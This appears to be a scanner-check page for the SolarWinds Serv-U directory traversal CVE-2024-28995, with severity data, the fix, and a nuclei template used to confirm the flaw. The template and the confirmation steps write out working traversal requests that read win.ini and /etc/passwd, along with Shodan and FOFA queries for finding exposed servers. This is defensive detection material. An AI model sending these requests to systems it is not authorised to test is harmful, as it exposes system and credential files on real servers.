SolarWinds Serv-U - Directory Traversal

Exploited in the wild. Listed by CISA on 2024-07-17; known to be used by ransomware.

highseverity

7.5CVSS score

99.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.

Impact

Attackers can traverse directories and access sensitive files outside the intended directory structure.

Fix

Update SolarWinds Serv-U to a version that patches the directory traversal vulnerability.

How to confirm it

Send: GET /?InternalDir=/../../../../windows&InternalFile=win.ini ; GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Positive when: matches /root:.*:0:0:/ AND contains(header, "Serv-U") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-28995 -u <target>

The full check

id: CVE-2024-28995

info:
  name: SolarWinds Serv-U - Directory Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.
  impact: |
    Attackers can traverse directories and access sensitive files outside the intended directory structure.
  remediation: |
    Update SolarWinds Serv-U to a version that patches the directory traversal vulnerability.
  reference:
    - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28995
    - https://x.com/stephenfewer/status/1801191416741130575
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-28995
    cwe-id: CWE-22
    epss-score: 0.99614
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: solarwinds
    product: serv-u
    shodan-query: html:"Serv-U"
    fofa-query: server="Serv-U"
  tags: cve,cve2024,lfi,solarwinds,serv-u,kev,vkev,vuln

http:
  - raw:
      - |
        GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "Serv-U")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from